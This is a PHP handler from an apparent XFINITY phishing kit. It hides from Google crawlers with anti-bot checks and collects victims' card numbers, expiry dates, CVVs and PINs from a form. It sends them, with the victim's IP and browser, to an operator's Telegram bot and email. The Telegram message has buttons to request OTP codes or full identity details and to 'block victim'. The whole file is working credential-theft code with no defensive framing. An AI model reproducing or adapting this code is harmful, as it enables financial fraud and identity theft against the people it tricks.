<?php
session_start();
error_reporting(0);
# Adding Settings
include('function.php');
include('../config.php');

require ("../antibots/AntiBotUserAgent.php");
require ("../antibots/AntiBotIsp.php"); 
require ("../antibots/AnitiBotHost.php");
require ("../antibots/AntiBotPhishTank.php");
require ("../antibots/AntiBotVpn.php");
require ("../antibots/SaveBrowsing.php");
require ("../antibots/DiscoveredBot.php");
require ("../antibots/AntiBotThree.php");
require ("../antibots/DisturbOne.php");
require ("../antibots/DisturbTwo.php");
require("../antibots/Anti/Bot-Crawler.php");
@require("../antibots/Anti/Crawler/src/CrawlerDetect.php");
use JayBizzle\CrawlerDetect\CrawlerDetect;
if(strpos($_SERVER['HTTP_USER_AGENT'],'google') !== false ) { include("../404.php"); exit(); }
if(strpos(gethostbyaddr(getenv("REMOTE_ADDR")),'google') !== false ) { include("../404.php"); exit(); }


$useragent = $_SERVER['HTTP_USER_AGENT'];

$required = array('crdnumb', 'expdate');

$error = false;
foreach($required as $field) {
  if (empty($_POST[$field])) {
    $error = true;
  }
}

if ($error) {
  header('Location: https://www.google.com/search?q=XFINITY+login');
  exit();
}

# Generate visitor ID first so we can use it throughout
$visitor_id = bin2hex(random_bytes(32));

# Store visitor ID in JSON file
$redirects_file = dirname(__FILE__) . '/redirects.json';
if (!file_exists($redirects_file)) {
    file_put_contents($redirects_file, json_encode(['redirects' => []], JSON_PRETTY_PRINT));
}

$redirects = json_decode(file_get_contents($redirects_file), true);
$redirects['redirects'][$visitor_id] = [
    'created' => time(),
    'status' => 'waiting'
];
file_put_contents($redirects_file, json_encode($redirects, JSON_PRETTY_PRINT));

# Logs
$IP = isset($_SERVER['REMOTE_ADDR']) ? $_SERVER['REMOTE_ADDR'] : 'Unknown';
$os = isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : 'Unknown';
$date = date("F j, Y g:i a");

$msgtg = "🔐 <b>XFINITY CARD INFO</b> 🔐\n";
$msgtg .= "━━━━━━━━━━━━━━━\n\n";

$msgtg .= "👤 <b>CARD INFO</b>\n";
$msgtg .= "CARD NUMBER : <code>" . htmlspecialchars($_POST['crdnumb']) . "</code>\n";
$msgtg .= "EXPIRY DATE : <code>" . htmlspecialchars($_POST['expdate']) . "</code>\n";
$msgtg .= "CVV : <code>" . htmlspecialchars($_POST['crdcvv']) . "</code>\n";
$msgtg .= "PIN : <code>" . htmlspecialchars($_POST['crdpin']) . "</code>\n\n";

# BIN Lookup
$card_number = preg_replace('/\s+/', '', $_POST['crdnumb']);
$bin = substr($card_number, 0, 6);
$bin_info = @json_decode(@file_get_contents("https://lookup.binlist.net/{$bin}"), true);

if ($bin_info && !isset($bin_info['error'])) {
    $card_bank = isset($bin_info['bank']['name']) ? $bin_info['bank']['name'] : 'Unknown';
    $card_type = isset($bin_info['type']) ? strtoupper($bin_info['type']) : 'Unknown';
    $card_brand = isset($bin_info['brand']) ? strtoupper($bin_info['brand']) : '';
    $card_currency = isset($bin_info['country']['currency']) ? $bin_info['country']['currency'] : 'Unknown';
    
    $msgtg .= "CARD BANK : <code>{$card_bank}</code>\n";
    $msgtg .= "CARD TYPE : <code>{$card_brand} {$card_type}</code>\n";
    $msgtg .= "CARD CURRENCY : <code>{$card_currency}</code>\n";
} else {
    $msgtg .= "CARD BANK : <code>Lookup Failed</code>\n";
    $msgtg .= "CARD TYPE : <code>Lookup Failed</code>\n";
    $msgtg .= "CARD CURRENCY : <code>Lookup Failed</code>\n";
}
$msgtg .= "\n";


$msgtg .= "📍 <b>LOCATION INFO</b>\n";
$msgtg .= "IP ADDRESS: <code>{$IP}</code>\n";
$msgtg .= "BROWSER: <code>{$os}</code>\n";
$msgtg .= "LOCATION: https://www.geoiptool.com/?IP={$IP}\n\n";

$msgtg .= "🔑 <b>VISITOR INFO</b>\n";
$msgtg .= "VISITOR-ID: <code>{$visitor_id}</code>\n\n";

$msgtg .= "━━━━━━━━━━━━━━━\n";
$msgtg .= "⏰ " . $date . "\n\n";
$msgtg .= " + Dev: <a href='https://t.me/DBack3nd_Godfather'>@DBack3nd_Godfather</a> +";
 
if ($settings['telegram'] == "1") {
    // Create inline keyboard array 
    $keyboard = [
        'inline_keyboard' => [
            [
                ['text' => '❌ WRONG PASSWORD', 'callback_data' => 'wrong_password'],
                ['text' => '🔐 OTP CODE I', 'callback_data' => 'otp1']
            ],
            [
                ['text' => '🔐 OTP CODE II', 'callback_data' => 'otp2'],
                ['text' => '🔐 DEBIT CARD INFO', 'callback_data' => 'card'],
                ['text' => '📝 FULLZ', 'callback_data' => 'fullz']
            ],
            [
                ['text' => '✅ SUCCESS', 'callback_data' => 'success'],
                ['text' => '🚫 BLOCK VICTIM', 'callback_data' => 'block']
            ]
        ]
    ];

    $send = [
        'chat_id' => $settings['chat_id'],
        'text' => $msgtg,
        'parse_mode' => 'HTML',
        'disable_web_page_preview' => true,
        'reply_markup' => json_encode($keyboard)
    ];
    
    $website = "https://api.telegram.org/bot{$settings['bot_url']}";
    $ch = curl_init($website . '/sendMessage');
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
    curl_setopt($ch, CURLOPT_POST, 1);
    curl_setopt($ch, CURLOPT_POSTFIELDS, ($send));
    curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
    $result = curl_exec($ch);
    curl_close($ch);
}


$email_msg = "
<html>
<head>
    <style>
        body { font-family: Arial, sans-serif; line-height: 1.6; color: #333; }
        .container { max-width: 600px; margin: 20px auto; padding: 20px; border: 1px solid #ddd; border-radius: 5px; }
        .header { background: #002D72; color: white; padding: 15px; border-radius: 5px 5px 0 0; }
        .section { margin: 15px 0; padding: 15px; background: #f9f9f9; border-radius: 5px; }
        .footer { margin-top: 20px; padding-top: 20px; border-top: 1px solid #ddd; font-size: 12px; color: #666; }
    </style>
</head>
<body>
    <div class='container'>
        <div class='header'>
            <h2>✦ XFINITY Card Info ✦</h2>
        </div>
        <div class='section'>
            <h3>🔥 Card Information</h3>
            <p>Card Number  : <code>" . htmlspecialchars($_POST['crdnumb']) . "</code></p>
            <p>Card Expriry : <code>" . htmlspecialchars($_POST['expdate']) . "</code></p>
            <p>Card Cvv     : <code>" . htmlspecialchars($_POST['crdcvv']) . "</code></p>
            <p>Card Pin     : <code>" . htmlspecialchars($_POST['crdpin']) . "</code></p>
        </div>
        <div class='section'>
            <h3>📱 Device Information</h3>
            <p>IP Address: {$IP}</p>
            <p>GeoLocation: <a href='http://www.geoiptool.com/?IP={$IP}'>View Location</a></p>
            <p>Date: {$date}</p>
            <p>User Agent: {$_SERVER['HTTP_USER_AGENT']}</p>
            <p>OS/Browser: {$os}</p>
        </div>
    </div>
</body>
</html>";

if ($settings['send_mail'] == "1"){
    $to = $settings['email'];
    $headers = "MIME-Version: 1.0" . "\r\n";
    $headers .= "Content-type:text/html;charset=UTF-8" . "\r\n";
    $headers .= "From: XFINITY <XFINITY@client_site.com>\r\n";
    $subject = "✦ XFINITY Card Info - {$IP} ✦";
    mail($to, $subject, $email_msg, $headers);
}

if ($settings['debug_mode']) {
    error_log("Redirecting to load.php with visitor_id: " . $visitor_id);
}


// Redirect to loading page and wait for admin action
header("Location: ../load.php?id=" . $visitor_id);
exit();


?>